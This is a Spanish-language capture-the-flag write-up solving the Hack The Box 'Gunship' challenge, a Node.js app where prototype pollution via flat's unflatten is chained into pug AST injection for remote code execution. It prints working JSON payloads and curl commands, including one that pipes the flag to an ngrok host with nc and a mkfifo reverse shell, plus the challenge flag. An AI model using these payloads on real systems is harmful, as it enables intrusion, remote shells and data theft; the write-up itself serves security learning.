Gunship
4 minutos de lectura
Tenemos una página web con una interfaz bastante chula:
Solamente existe una entrada de usuario:
Se trata de una aplicación en Node.js que utiliza pug
como motor de plantillas (como se muestra en los archivos disponibles del reto).
También utiliza flat
para parsear los datos en JSON, como se muestra en el siguiente archivo llamado routes/index.js
:
const path = require('path')
const express = require('express')
const pug = require('pug')
const { unflatten } = require('flat')
const router = express.Router()
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'))
})
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body)
if (
artist.name.includes('Haigh') ||
artist.name.includes('Westaway') ||
artist.name.includes('Gingell')
) {
return res.json({
response: pug.compile(
'span Hello #{user}, thank you for letting us know!'
)({ user: 'guest' })
})
}
return res.json({
response: 'Please provide us with the full name of an existing member.'
})
})
module.exports = router
Existe una vulnerabilidad conocida de unflatten
del módulo flat
. Se trata de Prototype Pollution, que básicamente nos permite definir variables globales.
Esta vulnerabilidad combinada con un motor de plantillas como pug
(o handlebars
) puede desembocar en ejecución remota de comandos (RCE) debido a una funcionalidad de depuración. Todo esto está claramente explicado en https://blog.p6.is/AST-Injection/#Pug.
Podemos probar que existe Prototype Pollution ejecutando el reto en un contenedor de Docker y añadiendo un simple console.log(x)
después de la llamada a unflatten
.
Ahora, si ponemos el siguiente documento JSON, console.log(x)
mostrará true
en el registro de salida del servidor (ahora x
es una variable global):
{
"__proto__.x": true
}
Entonces, podemos probar algunos payloads con pug
siguiendo el artículo del blog anterior. Con el siguiente documento, podemos poner texto después de un bloque de plantilla (por ejemplo #{user}
en el archivo de JavaScript mostrado arriba):
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"val": "RandomText"
}
}
$ curl 157.245.43.98:31191/api/submit -H 'Content-Type: application/json' -d '{"artist.name":"Haigh","__proto__.block":{"type":"Text","val":"RandomText"}}'
{"response":"<span>Hello guestRandomText, thank you for letting us know!</span>"}
Vemos que guest
va seguido de RandomText
por lo que somos capaces de usar Prototype Pollution para realizar AST Injection y modificar el funcionamiento de pug
.
Nótese que hemos usado Haigh
como artist.name
porque necesitamos que artist.name.includes('Haigh')
devuelva true
para hacer que pug
renderice el mensaje.
Existe una forma de ganar RCE utilizando line
en vez de val
. Sin embargo, el mensaje no se mostrará en la respuesta del servidor. Una manera rápida de conseguir la flag es utilizar una reverse shell por TCP. Pero esto es matar moscas a cañonazos porque solamente necesitamos la flag (que aunque el nombre de archivo tenga caracteres aleatorios, podemos utilizar wildcards).
Como la instancia remota es pública, necesitamos utilizar una dirección IP pública para recibir la conexión. Aquí es donde tiene sentido el uso de ngrok
.
Podemos ponernos a la escucha con nc
en el puerto 4444, por ejemplo. Y después iniciar ngrok
:
$ ngrok tcp 4444
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 2.3.40
Region United States (us)
Latency 120.893ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:14109 -> localhost:4444
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 0.00 0.00
Como resultado, hemos creado un túnel desde nuestro socket privado hasta el socket público gestionado por ngrok
.
Este es el payload necesario para conseguir la flag (utilizando un wildcard):
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require(\"child_process\").execSync(\"cat /app/flag* | nc 0.tcp.ngrok.io 14109\")"
}
}
$ curl 157.245.43.98:31191/api/submit -H 'Content-Type: application/json' -d '{"artist.name":"Haigh","__proto__.block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"cat /app/flag* | nc 0.tcp.ngrok.io 14109\")"}}'
{"response":"<span>Hello guestRandomText, thank you for letting us know!</span>"}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59447.
HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}
También es posible conseguir una reverse shell. Este es el payload:
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require(\"child_process\").execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ngrok.io 14109 >/tmp/f\")"
}
}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59469.
/bin/sh: can't access tty; job control turned off
/app $ whoami
nobody
/app $ ls
flagYFOSp
index.js
node_modules
package.json
routes
static
views
yarn.lock
/app $ cat flagYFOSp
HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}